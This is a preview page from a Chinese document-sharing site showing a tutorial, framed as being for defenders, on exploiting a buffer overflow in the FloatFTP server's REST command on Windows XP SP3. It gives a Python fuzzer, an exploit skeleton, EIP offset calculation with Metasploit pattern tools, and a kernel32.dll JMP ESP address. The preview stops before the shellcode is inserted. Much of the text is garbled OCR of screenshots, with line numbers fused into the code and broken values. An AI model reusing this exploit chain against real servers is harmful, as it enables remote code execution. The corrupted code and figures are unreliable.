理解緩沖區(qū)溢出漏洞的利用_第1頁(yè)
理解緩沖區(qū)溢出漏洞的利用_第2頁(yè)
理解緩沖區(qū)溢出漏洞的利用_第3頁(yè)
理解緩沖區(qū)溢出漏洞的利用_第4頁(yè)
理解緩沖區(qū)溢出漏洞的利用_第5頁(yè)
已閱讀5頁(yè),還剩55頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、理解緩沖區(qū)溢出漏洞的利用在我第一次不得不處理緩沖區(qū)溢出漏洞時(shí),我真是一竅不通啊!雖然我可以建立網(wǎng)絡(luò)和配置防火墻、代理服務(wù)器,不費(fèi)吹灰之力的入侵檢測(cè)系統(tǒng),但是對(duì)于利用代碼來說,我還是 第一次接觸到。然而,正如處理任何復(fù)雜或是困難的概念一樣,最好的辦法就是把它分解成我們了解的多個(gè)部分。在研究和學(xué)習(xí)教程后,一些概念和工具開始變得不那么令人困惑了,并且逐漸能夠明 白一些細(xì)節(jié)了。然后,我開始在實(shí)驗(yàn)室現(xiàn)有已掌握可重建的應(yīng)用程序中,尋找簡(jiǎn)單的緩存漏洞。只有在不斷地實(shí)驗(yàn),各種概念會(huì)一個(gè)個(gè)出現(xiàn) 整個(gè)進(jìn)程,無論是獨(dú)立的部分還是整體都會(huì)一點(diǎn)點(diǎn)呈現(xiàn)出來。本教程將會(huì)為防御者描述一些基本概念,包括一個(gè)攻擊者經(jīng)歷漏洞開發(fā)過

2、程,需要的工作量和攻擊者將要面對(duì)的編寫惡意代碼攻擊特定漏洞的風(fēng)險(xiǎn)。如今的攻擊者既有決心也有技術(shù),并且知道對(duì)于負(fù)責(zé)計(jì)算機(jī)和網(wǎng)絡(luò)的人來說什么實(shí)際操 作是最關(guān)鍵的,防御者對(duì)敵人的動(dòng)機(jī)和技術(shù)了解的越多,他就越容易制定有效的防御措施。我要經(jīng)歷幾個(gè)漏洞挖掘的階段的才能找到一個(gè)有效漏洞,首先,我們會(huì)fuzz我們的目標(biāo)應(yīng)用程序,通過一個(gè)有趣的方式使它崩潰,通過Immunity debugger 來監(jiān)控崩潰的過程,在Windows系統(tǒng)的內(nèi)存中找到最易受攻擊的溢出的shellcode。隨后,我們將要?jiǎng)?chuàng)造一個(gè)漏洞來傳遞shellcode,從而攻擊遠(yuǎn)程系統(tǒng)。需要的軟件/設(shè)置* 攻擊系統(tǒng):Backtrack Linux

3、 (我用的 R3)* 開發(fā)/受害系統(tǒng):Windows xp sp3 英文版 Immunity debugger :安裝在 Windows xp 系統(tǒng)上 FloatFTP :我們要利用的應(yīng)用程序讓我們正是開始吧!Fuzz ing“ Fuzzing是發(fā)送無效或畸形的、過多的和隨機(jī)數(shù)據(jù)到計(jì)算機(jī)程序試圖使系統(tǒng)崩潰或出 現(xiàn)意想不到現(xiàn)象的測(cè)試手段。Fuzzing用于測(cè)試系統(tǒng)和程序的安全。雙擊float FTP來執(zhí)行開始:II通過運(yùn)行cmd提示符來運(yùn)行和監(jiān)聽 21端口和鍵入:n etstat -an | find21"啟動(dòng)Immunity debugger ,單擊“file,再單擊 “attach

4、,"選擇FTP服務(wù)器過程,單擊 attach。 ”Select precess to attadhPIDI Window| Path664 16S 1612 756744664 1464 926100S116311521363 9<3G1?21S7 1084 706-s I s t r PF& 營(yíng)M'Tn cullLi詡g I" wchot IMChGtt svchot svchost vcho-t vngth Lp wtOGtd 'jntool/sd UtMwareTra win LogoiniTCP: 21IISADJ1IN, NSFtF

5、TCP: 1026 Pol icyflgtfit* P; lDF: S&& 4500 Event log, PlualSpooI erD&Oi*iLunch» Te: TCP: 3389 RpcSs-TCPt13Efi-udioSrw, Cryp- UDPi 123 123 CnseicheUOF:1025 193斗LnHoti Renoti UBP; 1900 1906 UMwar# Phy宮iemVMTqgIsSy iFader FTPSRU"?xc; W CsMiJrNDO C:Do 匚um< CiWLNDn C:WlNDCrl CssW

6、INOq SytepiR C t vw INDO- CsWINDOi CiMJINDO C:WINDq C:WINOG c; wim C:Prcigr: UeContro Hitle U=、Fo總垂Cs-Progf-!© WWW.9lOf一旦應(yīng)用程序在調(diào)試器上加載時(shí),調(diào)試器會(huì)處于暫定狀態(tài)。按F9鍵或是Immu nity debugger 工具欄上的播放符號(hào),讓應(yīng)用程序運(yùn)行。這個(gè)目標(biāo)應(yīng)用程序?qū)?huì)被調(diào)試 器監(jiān)控。A Im mu r>fty Debugger - Fl PServer,exe - CPU thread 000002 mcxluiE ntdH:!fl View Debu

7、g Plugins Iiwiub Option? V<irKiO'. Help Jotjs二I魚蘭!毎 IS 園 X卑卑対 41勺"1 ItiinthcPkbz 貫E103AFFCC 00:3ftFFD3 Li03fiFFD4 0能倂F08 003AFFDC 00-3fiFFEO 003AFFE4 003FIFFE8 003flFFEC 0M*FFF0 003fiFFF4 00SPFFFS 0y3PFFFC縊器鴕器ccSR *pu :器器OF器器45薯EC0 0 Q.-0 0 0 0 000-00 3 0060000000000 E 0 0 5 0 0 0 £

8、 口 0 009000150553000000000000S? 3 一y器器40器詼芻53400 B000 0 0 3030000040000S050200000000000000G? 313 Av -0 -y-M- 0-A-qd50 0 9 0 0 00-00 3 0 F 0 0 s 0 0 0 0 0 0 0 Atutrps® Ifili 百 FRFEIK 砂Shou run tracesl®S£K8fifflRunning現(xiàn)在我們將開始配置 FTP fuzzer,首先,F(xiàn)uzz應(yīng)用程序來使系統(tǒng)崩潰,然后使用調(diào)試 器來采集和分析崩潰數(shù)據(jù)。下面的代碼是一個(gè)用py

9、thon腳本語言編寫的簡(jiǎn)單的FTP fuzzer,當(dāng)執(zhí)行時(shí),fuzzer會(huì)發(fā)送標(biāo)準(zhǔn)的FTP命令“RES”并且附加越來越多的“A到每條指令。0 #!/usr/bin/py thon0 import so cket0 # Create an array of buffers, from 20 to 2000, with in creme nts of 20.0 buffer= "A"0 counte123456789r=200101234567891 while len(buffer) <= 30:1 buffer.append("A"*coun te

10、r)counter=counter1+1001 # Define the FTP commands to be fuzzedcommands="RE ST"1101234567891 # Run the fuzzing loop2 for command in comma nds:2 print "Fuzzing" + command +" with length:" +str(len(string)2 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)#101234567893IP

11、addressconnect=s.connect('2',21) # Target31#13024)s.recv(1#1#13users.send('USER ftprn') # login#1#13024)s.recv(1#1#13 passwords.send('PASS ftprn') # login#1514024)4buffer4024)4 rn')4se()s.recv(1s.send(command + string +'rn') #s.recv(1s.send('QUITs.cl

12、o0123456789#我們可以從例子(http:/www.exploit- )中知道 FTP 服務(wù)器的 REST命令就是一個(gè)易受攻擊的緩沖區(qū)溢出,F(xiàn)TP的REST功能將會(huì)成為fuzzer的目標(biāo)。在攻擊系統(tǒng)的桌面上創(chuàng)建一個(gè)文件夾來存放fuzzing和漏洞代碼。使用“CD到這個(gè)目錄,運(yùn)行"nanofuzzer.py ”這會(huì)打開一個(gè)空白的 nano文本編輯器,復(fù)制和粘貼上面的代碼到文 件中。執(zhí)行“ /fuzzer.py,"幾秒鐘后,你能夠看到fuzzer停止了,并且顯示目標(biāo)應(yīng)用程序崩潰。Ale EditBookmarks Settings Help嘰 nano 2 2. 2Fi

13、le:3*. y bin/pyl hanLnprt1 “pate 411 4i ray of butf?rr f rev 20. wit It itu r«H-nt s of:ounter2Gfhlle len(buff&r) :- 30:buff« r. a ppendJA"* counter) csuntr=t: cun t e r+-lGO*fiup th« FTP e*前Mds to bpr Rim the furzinq 1 onpfur conhand Ln cdmnands:for string in bu'ffrr pri

14、nt Fuzzifflf* + cnnand + " with h.itjth:" +5trllen ;-5trinc - AF_ INET. iOtk&t SiKK STPEAH connect-xwnct ('lQ.10d0-3221>) *H11024)s,send('U$EB ftprn') * login 畑” sreciftl024)$.nd('PASS ftpFn') » 1 iHjin pjsw&rdS.r(1024)WWW.91RL0RG期峑曰呈12畸冊(cè)勞罡S-S«ndCcQ

15、«nand + J ' + string + *Vrnr) e butter S.r«V(lQ24) s.sendC"OULTrnls.cla&eO利用正在系統(tǒng)上運(yùn)行的 floatFTP的系統(tǒng)IP地址改變目標(biāo)IP地址,按CTRL+O來保存 文件,按CTRL+X來退出nano,接下來,通過鍵入來創(chuàng)建可執(zhí)行文件。chmod 755fuzzer.py執(zhí)行“ /fuzzer.py,"幾秒鐘后,你能夠看到fuzzer停止了,并且顯示目標(biāo)應(yīng)用程序崩潰。-口 x.亠邑衛(wèi)_ Elx Il t1廳i >1 11 e m t w h c P k b z

16、 r . s ? IItea 曲ers JFPW1e> t y -< 1 eESBQ496ia21 4742®0e +2 時(shí) 鋰0 蛍 1. %1977&1«669£ 10?900e-3124ek duiD嘰f】0601 B£02 (加.NR川E.仏幅托)LtErr £Af«U9UCC£GS 同加0喚帥0(FFFFFFFF) ©iFFFFFFFF) 0(FFFFFFFF) atFFFFFFFFJ TFFDCfll FFF)EIP4K1414ICow盲兇血jW-dJEFLEFW 0她事眥 ecx

17、eeidcetw tDJi 疋騎詡卩4 nttiH . K n F«t tmCa L iR«T ebx eeeoniA e$p oaHEFcc A$cn 刑itfiftimaflfifiRmflmflRnftfinnn阿onwrwi附自nwnnwi ebp eawH7fESI 0W0S2?E FTPS<ru<»WW29EEDiACItAMFWAAAAfWlRAAflAAflfMAOARHHMffiflAPc a 卜9 A 0 2 a s a t a0123 4S6-.rTTUTTTT ssssssssaaa? 叫IB 逐a W3 003B32b Lt

18、龍!+ 32b Lt 32b Lt 32b It rflJLLEX 0.WQ00C0w川 4 s 24391 ESl9;35446806t-314 弗燉"I. 4274511 M- 310trw-t e.eloeiwoGedeeBEiKioeooB&9 mofeos eo BG4R16 9E 0400018 &a 90401X120 0D B0*0A028 00 99403030 t& D040A03S 5D 5&40R040 &B 004B鬧礙50 dMORSSG S6 mR05& 30 00疝闈葩00 m0R668 E4 00401

19、070 04 &G40O078 C4 0040R0 &4 O&lWSd A4 94A99 9441414M1 AFWH 41414141 4M14141 41414141 41414141 4HH141 41414141 41414141 <1414141 41414141 41414141 414HH1 41414141 41414141 41414141 41414141 <141413 4141414 41414141 4141414flARfi AW¥) A AAA ARAB flflAfl 百畔 ROW 口口 B RflHfl A AAA

20、 AWA HFW 盲刪PAW 口阿ARAA AIW19 " 08 :®9 Access uiolat ion tihen cx<3cti tingr414141411use Shift +F7ZFPniLmcf(iot.jbt: in""咐 n I i( ff ./fuzzr.py FuzzingREST with length:IFuZZlnREST with Length:20FuzzingREST with length:120Fu77inqREST vith length:220FuzzingREwith length;320當(dāng) 你在xp系

21、統(tǒng)上看到這個(gè)調(diào)試器,你會(huì)看到Immunity debugger 已經(jīng)捕獲了破壞的數(shù)據(jù)和暫停的應(yīng)用程序。如果你看EIP (擴(kuò)展指令指針)寄存 器時(shí),你就會(huì)看到在 41次內(nèi)fuzzer緩沖區(qū)覆蓋寄存器,fuzzer緩沖區(qū)也會(huì)涌入ESP(擴(kuò)展堆棧指針)寄存器(00AEFC2C)。 我們的首要目 的是了通過CPU執(zhí)行的指令代碼再次控制EIP寄存器,把它設(shè)置成我們所選擇的值。#漏洞挖掘用nano創(chuàng)建一個(gè)新的文件,輸入下面的代碼。這是挖掘的開始,將文件保存為skeleton.py 并執(zhí)行(輸入 chmod 755 skeleton.py )#!/usr/b in/py#1234567890thon0 im

22、port so cket0 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)0 buffer = 'x41'10000 print "nSending evil buffer."s.connect('2',11123456789021)data = s.recv(11024)1 s.send('USER ftp' +'rn')1 data = s.recv(1024)#1#11 ftp's.send('PASS+

23、9;rn')data =s.recv(1#1024)22s.se nd('REST' +buffer+'3需24c s.clo25 se()在攻擊系統(tǒng)的 Linux終端上運(yùn)行skeleton.py ?,F(xiàn)在,當(dāng)你在Immunity debugger 上檢查EIP寄存器時(shí),你會(huì)看到緩沖區(qū)代碼0 X41414141覆蓋了寄存器,并溢出到了ESP寄存器中。斗 Drrtunlty DttbuqQEt - FTPSSM.®已EFU thieadl BOMHELfl)卄I Bit.141E WJG時(shí)£ fr 1 rtsrts WEdw 叱曲p m r w

24、h r V k h= !喟耳IIFPI畦1般 *I-*MI4ILHCtrrfMwmtyHit% CNDlUBl HEP A.rHuKi K,J» 聰 AM!冊(cè)O(shè)MT 空:扛出程竣益 ss: SJ 迎 liWiggg% 比 Miy 3.2CIIKWc-120 * B ? CfT 0 0 * 0 Wffii 13 Hnt il I4I4J4K 心詁】軸町 4L4UL41 4141414 4143414 41414141 *mhi*i 4414141 4|4j<|43GWl R&ftTiHRfH AMA AW茴豐iK雄不朮必隧» h - M taFnFffk“

25、87;:.二4:工二必氏 * fanr Btb I rilb a4 fl- jp B_po I ax - JI 強(qiáng)SO富w器圖皆番滋w M?l«留號(hào)Bss畀館話觸 探IM器訶w罰芻韶w話円 «號(hào)題富蠱»益盟器孩藝 eefi軸留據(jù)如鏗陽S3鉀eeoEFC?*«L414L41 *841*!*AL414LdI *1414141 41414141 414141*1BHflP ppi'i aaftfi iAJW下一步就是要確定我們要插入代碼的空間到底有多大,到現(xiàn)在為止,我們已經(jīng)使用了 一組固定的重復(fù)字符來確定我們的目標(biāo)的內(nèi)存地址。我們現(xiàn)在將要使用metas

26、ploit的pattern_create和pattern_offset 工具來幫助我們發(fā)現(xiàn)究竟有多大的空間,我們以什么特定 的內(nèi)存地址為目標(biāo)。首先,用1000個(gè)字符來生成一個(gè)不重復(fù)的字符串。使用 cd 命令到 /opt/metasploit/msf3/tools并運(yùn)行:./pattern_create.rb1000創(chuàng)建一個(gè)1000字符的字符串,用它來取代以前緩沖架構(gòu)漏洞中的1000個(gè)字符“A”Foot'啤it I ft.-'|.411 isf3./jpatttrn_cre 1000ROM LAa2Aa3Aa4toMa6Aa7*B8*aftMj 0Abl«b2M3Ai)

27、4tt54b6tt76AbMc(Mclte2Ac3Mc5AcC<c7AcSlk 94備燈1閑如如4閔缶加肋7耐$規(guī)伽申莊話壯肌 » 犧曲剛腕 幻刪勺嬉仙了關(guān)8 岬噸灑珈h軸37處那伽iCAHgM 2&14AlU£iJki?吐血仙jgjl時(shí)2ftj Uj44jA&Aj?Lj AAjfiAkGAk IN 2Al(拙鼻 誨國(guó)了屮 3蟲飢創(chuàng)a 話iftAnO«nlln2MaAlS強(qiáng)制巧Ao* 加甬AoMpQlp 迪)御比 4咋曲pTi申曲AqOiql 山細(xì)如吵啪山冋TAqBAqDArHArSAEAr U 2At3AUA15AtAAt?Aif«

28、;M*ul削沁細(xì)MAu販申訊削2AvMyUv(Av4Ay對(duì)曲質(zhì)抽軸如54"AJ 歸Am«Ae WI打牡工劃詁Ax,Ax聲打比斡* 朋垃丁他BBaOMlBalfo 勒國(guó)血血砒 曲謝36Mft5Bt)6M>7H)eBb»c«Bcl&c2Bc 3Bc 4Bc»c6Bc 7Bc d »M»dl&d 2Bd3ededSBd6Bd7Bd»f»e0ec L6e»e如妁1旳JBj «IJ*于閔帕1花q剛申10611 f曲護(hù)注釋掉以前的緩沖區(qū)漏洞,像下面一樣創(chuàng)建一個(gè)新的緩沖線,在雙

29、引號(hào)中為新的緩沖區(qū)。0#!/usr/b in/python02import so03 cket040 s = socket.socket(socket.AF_INET,5 socket.SOCK_STREAM)060 #buffer = 'x41'7 1000080 buffer = "Paste pattern_create buffer9 here"1print "nSending evilbuffer."1 s.connect('2',211)data = s.recv(1112345678900

30、24)024)2#024)2#1 ftp's.send('USER+'rn')1 data = s.recv(1s.send('PASS024)2#1 ftp' +'rn')222 data = s.recv(13 024)242 s.send('REST' +buffer+'4 rn')262 s.clo7 se()在Immunity debugger 下重啟FTP服務(wù)器(單擊 “debug”之后重啟或按 CTRL+F2 ) 啟動(dòng)FTP服務(wù)器的架構(gòu)漏洞。 按照先前的做 法一定崩潰了,但是現(xiàn)在EIP

31、和ESP緩沖區(qū)中 有metasploit創(chuàng)建的格式,把這些值復(fù)制下來,我們將用它們來計(jì)算EIP和ESP寄存器的字節(jié)中的差異。在本例,EIP和ESP的值為:EIP: 69413269ESP: 00AEFC2C (69413669)之后,運(yùn)行:./patter n_o ffset.rb69413269接著./patter n_o ffset.rb69413669mot戲rt : 0伙5祇4&侃0遷. /pattern_af fset. rb 69413269+ Exct match at offset 247rootbt>/opt/netMRoit/Bsi3/tools# , /pa

32、ttern_of fset, rb 69413669 1*1 Exact match at offset 259rootbt: opt met a spirit nisf 3. tool.'-# |輸出告訴我們247個(gè)字節(jié)以后的EIP寄存器開始被緩沖區(qū)覆蓋,這就意味著EIP中248 251字節(jié)是我們想要的目標(biāo)。CPU通過EIP寄存器中的值知道下一個(gè)要運(yùn)行的指令,在內(nèi)存地址中運(yùn)行這些當(dāng)前的指令,在EIP的內(nèi)存位置中使用 JMP ESP指令使CPU來執(zhí)行指令和跳到 ESP寄存器中執(zhí)行 駐留在該地址的內(nèi)存中的指令。我們的目的就是在EIP中使用JMP ESP指令,這樣我們就能控制執(zhí)行命令并把我

33、們的代碼轉(zhuǎn)變到ESP寄存器中。兩個(gè)寄存器之間有12個(gè)字節(jié),于是我們用 8個(gè)字節(jié)來填充我們的緩沖區(qū),縮小間距和 連接到ESP寄存器。我們使用保持1000字節(jié)邊界的框架漏洞來調(diào)整緩沖區(qū):buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"*741例女口 : buffer<>eip data<>padding<>shellcode placeholder0#!/usr/b in/python02import so03 cket040

34、 s = socket.socket(socket.AF_INET,5 socket.SOCK_STREAM)060 #buffer = x417 1000080 #buffer = "pattern_create9 buffer"buffer = "x41"*247 + "x42x42x42x42" + "x43"*8 + "x44"12345678907411 print "nSending evil buffer."1 s.connect('

35、2',211)1 data =s.recv(1024)1 ftp's.send('USER+'rn')data =s.recv(12#1 024)222 s.send('PASS3 ftp' +'rn')242 data = s.recv(14 024)2+buffer+'62 s.send('REST'5 rn')282 s.clo9 se()在Immunity debugger 中重啟FTP服務(wù)器,按播放鍵取消暫停的應(yīng)用程序。再 次運(yùn)行挖掘,然后在Immunity debugger 器中

36、右擊ESP寄存器的窗格選擇“ followin dump ”。如果一切排列正確的話,EIP寄存器中將會(huì)存儲(chǔ) 42424242和DS (x44 )將會(huì)在ESP寄存器內(nèi)存地址前面從 EIP到ESP的空間中填充8 CS。ADefaugf -FTFSefwae CVUkhrMd KMH0B234/' i# *空 灼右坊 F' .g-ns- ;riTia t, i paicri 門尢峠再bi為 r :匸 44 X 對(duì)燉琳 li 呵 T 1 # D) T w b c P k b z t41444444 jLCIZJ 舸昨CCM 謁*1*14 tL49d 4vriM4iW C000仏矗 那E

37、br And Mttv*平 Js4e sHkt 倉(cāng)回* 肘由 "MM14 14* 44 4 4444-4 3 4-444 4444+44-. 震H誥益EH誥吐 皙輯僉茲M僉44 一軒陽胃4話消話“課屮鼻屮 4<H44*H 44-M4444 4444444 4*+1*屮44444 嗚*|碣*1 4«444<44"4増»”WWW.91RL0RG-旦兇丄JN-曲:”“】(_ru)P 90 60-009 L s I3 4 E 6 ? ElCPOZS-TDO- EFSTSTSTSTSTSSTSThtdl UKLfbrtFTPServe.040fi29E

38、RSCII32b it 32bit 32b it 32b i t 82b i trcK.L負(fù)DDODOODDDDDOOCOaDDD 口 DOSWODDOODOODOODDODDODIfl(FFFFFFFF) e(FFFFFFFF) OtFFFFFFFF) 0(FFFFPFFFJ TFFDDeeetFFFJERROR SUCCESS 淖碗趙令 (NCbtB. tE. FUHS. PO 油占甜eriptyenptv enpiEyH刊 CMM匸4 4 44 4 44 4 444 4444444444444 44444444 斗4斗 444 444 4斗4斗b4斗4叫斗斗 K444CB4EC毬益話益戲

39、B4-44DODOODOO ODDDOCIO DODXOIX? DDDDOOOO DODOODOO DODDOtJOO DDDOOOOO DODDOOCO 匸 ODEOODO DODDO0CO: i- ?:. L0)000000 DOODOOOO 00000000 DODDOOOOFL 2:i-L <jO0AEFC34 :e&AEFC33ftSAEFC4e Pe0OEFC44 :»EFC4&©0OEFC4C 03flEFCS6 0QAEFCS4 林購(gòu)EFCS© 00REFCSC O0AEFC6« 08REFC64 用0AEFC6E

40、0MEFC6C eaAEFC?eS0MEFC7444444444444444444444444 44444444 44444444 44444444 44444444 44444444 44444444 4444444 44444444 44444444 44444444 44444444 44444444 44444444 44444斗嗎嗎 4444444444444444nnrr: DDDD JLI DDDO DDDO DODD DDDO DDDO ODDO DDDD DDCCi ODDO DDE DDDD DOX DDDO DDDO DDDC DDDO DDDDA immunity De

41、bugger FTP5erver.exe 匸卩II tlhrcad 0O0D03DC廠 FileDtijg plu(:ii .-s ImrnLb 匚/泊吊kk-lp Jobs 二_jjj JJXU-JJJ-DUJJLJ Paused 回轄衆(zhòng)呈13陌硏冷星 IV;59:4BJ Access vialation when executiny 142424242 - use Sltift +F7/F很棒。在Immunity debugger 器中,復(fù)制DS的開始到結(jié)束的ESP的內(nèi)存地址。然后 打開windows計(jì)算器,轉(zhuǎn)換到16進(jìn)制的模式,把數(shù)值變成10進(jìn)制。這里是這樣的:開始:00AEFC2C =

42、 11467820結(jié)束:00AEFF0C = 11468556用結(jié)束值減去開始值 11468556 - 11467820 = 736,我們就知道有 736個(gè)字節(jié)來儲(chǔ)存代碼?,F(xiàn)在,我們有了目標(biāo)內(nèi)存地址和指令,我們需要一種方法獲得從EIP寄存器到ESP寄存器的指令,為了做到這一點(diǎn),我們可以在 windows操作系統(tǒng)的DLL中使用現(xiàn)有的JMP ESP 指令。單擊Immunity debugger 器的工具欄上的 “e;'在存在的 windows dll中查找JMP ESP 指令,之后雙擊一個(gè) DLL,右鍵單擊 搜索”,選擇“command,之后鍵入“JM圧SP。我們?cè)趙indows系統(tǒng)文件k

43、ernel32.dll系統(tǒng)文件中發(fā)現(xiàn)了我們要找的指令,然后記下JMP ESP的內(nèi)存地址。在本例中,是7C86467B,注意,如果你正在使用任何其他操作系統(tǒng),而不是32位的windows xp sp3英文版,這個(gè)指令駐留在不同的位置。你要是用的是其他系統(tǒng),在另外的 DLL中查找JMP ESP指令,在剩下的教程中改變內(nèi)存地址。#2#2KTWW 一HOJ CtPJ笙<!? r!H -尸 -. . r.frr-跑E4.-:.mad eh 詢jFu±k .-! - ED2.Et>i心A A3 HE W6r- -I.K隰V番fxM Fffl 慍址珈宿利 PlUSH WWi Eil:*

44、 IB:i04W5tOtfll.hR*1-L 護(hù)用蠱 L: Iw-. jWflFfF上£口監(jiān) EKrETt*WrWfrLlGhVHMR 一 CWWWW.91RL0RG創(chuàng)堡旦全12璇刪夯魚#2#2我們用一個(gè)新的緩沖區(qū)來更新我們的骨架漏洞,注釋掉最后的一個(gè)緩沖區(qū)聲明,用下面 的代碼替代它:buffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC"*741因 為小尾數(shù)CPU架構(gòu),JMP ESP的地址必須在緩沖區(qū)中向后格式化,所以7C86467B變成了 x7Bx46

45、x86x7C。我們也要增加 8Bs作為填充(“x43 *8和改變最后一個(gè)值為 xCC*741 (742 CC' s)這將會(huì)作為我們的代碼的占位。一切正常,CCs應(yīng)該在我們的目標(biāo)ESP內(nèi)存地址的開始,00AEFC2C,我們應(yīng)該在 EIP寄存器中找到我們的JMP ESP指令(7C86467B )。0 #!/usr/bin/pytho n25234567890120 import so cket0 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)0 #buffer = x4110000 #buffer = "pattern_

46、create buffer"1 #buffer = "x41"*247 + "x44x44x44x44" + "x43"*8 + "x44"*74134567890121 # Windows XP SP3 kernel32.dll JMP ESPbuffer = "x41"*247 + "x7Bx46x86x7C" + "x42"*8 + "xCC" 17411 print "nSending evil buffer

47、."1 s.connect('2',211)2 data = s.recv(1024)34567890122 s.send('USER ftp' +'rn')2 data = s.recv(1024)2 s.send('PASS ftp' +'rn')1 data = s.recv(1024)s.send('REST' +buffer+' rn')33se()s.clo在 Immunity debugger 器中單擊 “debug'之后"

48、;restar來重啟 FTPsever.exe,不要忘記 按F9或是在調(diào)試器中單擊播放按鈕來取消暫停的應(yīng)用程序。在Immunity debugger 器工具欄單擊箭頭指向的三個(gè)點(diǎn),進(jìn)入JMP ESP內(nèi)存所在的位置:7C86467B (在這個(gè)例子中),單擊 “OK,然后按下F2在調(diào)試中設(shè)置斷點(diǎn)。當(dāng)訪問JMP ESP 地址時(shí),調(diào)試將會(huì)暫定,讓我們來查看寄存器和驗(yàn)證我們的目標(biāo)EIP和ESP的正確性。*皿1誠(chéng)吸丫盹柚也口日 FTP中fmeHLc: F- li. E譏TI.-hi.LL.' .- T-:r;d.“ H=Jp 2:毎區(qū)* 箕 II hH 11 + 11】e m t w h c P

49、k b z rP 血00 313 QcfleQ 尺 鄉(xiāng)呂.戀-甘80檜0«0'. £>&|由弓寺5&與 & 5swsee#*-* 亡牛胡牛宀-6 &.bt”_k>b A 41si3£ 6曲 kfte£>.!th6j&J. KsKaKKssKK- Ta兀?亞癢貉筈焉憑疋殳憑負(fù)憑J&TC?憑壬IHC ELI"BVTE PTR 0S1 CEQ«EDl>«*KS.eR FW盹細(xì)打L%沁泊花強(qiáng)tw- nu.MUfiikngrfc g比1;L- ?_-! i

50、L n .-_'L »SH»T 蝕I輕兀制&aiFeee 剋x佑旳 7FFDi£&M OT-12fEDe M1F4 沖佗幷護(hù)TCWE4F4 "Ml腫I和霍ES 城萌 3ait SlFPFFFFFiC5 00 幣 5» i t OTFFFFFFFFl騁 鰹S3 Mbit eJFFFfTPFFJ8 磁9 3SblC 0rFFFFFFFF1FS W3B 斑“ PFRJOMBS FFFJ 盟 «W HULLLMlErr EWIUCCESS $西fWO訊X 卿彌0甌('IW PM0P E, BE -HSBFEB

51、SE- UEJew帥mpttf ewtv m>tsi ir#ay flwtll 亍MQt爭(zhēng)酣惑 06刖磁陶漠蒐(帕F.S l I 4F«r% FFU I甲心Dnvfop替F伽Ee-ee-eelr-e e CFA7L-STDO Esre STI ST2 ST® £T4 sre 泄 ST?PTfltli再次運(yùn)行漏洞,并在調(diào)試器中查看輸出,這看起來應(yīng)該和下面的類似:=JU冷一孤N盤O x II吋*: t:氏勺W 17E02舉罷雷翟&:黑罷罷等器器霹器Ba 急總餾誥器第離篇益篇第餾餾製 rK:t>& "»>.&

52、 Lt-LbQIJJ &'£- G .h&.FI Jit.&t-t .t i.:bLt-H: 曙矍rl怎曙蠱懲E8 92OCWFE?S5 9CFEFFFFEB I S33C040晴耳 C*«4?1E?髭 cc cc co cc cc cc cc cc cc cc cc cc CC- cc cc ccPUSH E 鵬Li.a E«Kr-? - - f : V ;PUSH E口x> 4 EftW.EAXPUSH PV$HPUSHPUSH PUSHnou4? 4? 42 43 45 et cc cc cc ct cc ' 罷

53、 cc cc cc cc cc cc cc cc cc cc cc ccEAXEHX£職A.;CJ IT Dmo切wuty的pt#sabu32fcU setitNULLEFLSTfl STIST2&T3ST4ST$ &TST7&(FFfWFFF) i(FFRWH?l GCFFFFFFFF) 0tFFFFFFFF> 7FFDD08&(FFFJESP hbP E£l EDIEIP t 9ERROfLSUCCESS 苗M) (NO/MBpNERrfSpPOE)直蛇3 326 it 號(hào)IE 9023驅(qū)3 陽詒i.*iv£rr0S00O

54、Z034.947114C76S打刖、歸s-炙 I 0” Q兇刁觸Q曲勺展磁磁4. 24恭915叭黑旳$4岡承沖-3" l,942?4&t£夕再 111無腫g- 0*。期 000G0舸國(guó) 取 的西則G06E&詢兇0000-4. i$904966214742aae«429?1.251?TSl£tt 07fl£36f 312EQ!':E斜 W14CEWEW 7C90E-4F4 nt©l L * iF”p卸*f£專 L LRrt FP£ i¥lfU¥lAlD .EAXI EBK

55、I ERKk er fit 1-2 r C refc#R; Ik'CrO PTF :£: ClSF SHDftT ><«rntl32«a 4 hFJlfq-曲佛轄陽羸曙韜的福siHIFF P4E_ ferj -T" IJ 汀 RIFli4 丁Hi!14n b_3ter fFI卄mvif i淨(jìng)卄 irm10OREFC30 ®0REFC34 O0REFC3® WAEFC3C «0AEFC40 0DREFC44 V9AEFC48 ©WEFC4C eOPEFCEO 00REFC54 eOPEFCS

56、74; 80REFCSC 00AEF(X0 «0flEF(X4 «OAEFO&8cccccccc cccccccc cccccox cccccccc cccccccc cccccax cccccccc cccccccc cccccccc ccccccccx immwifty I>ebM0ger - FTPServcrNe - (CPU - threwl 0000036 module kec F|q Vi$w OsixiQ Plug*n$ ImmUb Options Window Holp Job$IB : 27:2fl J B±'c<iKv° int 皿 kcriw 132.7C8G4G7BEIP中包含JMP ESP的目標(biāo)地址(7C86467B )和我們的 CCs在ESP(00AEFC2C)開始。 現(xiàn)在,我們控制執(zhí)行命令,剩下的就是用shellcode

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
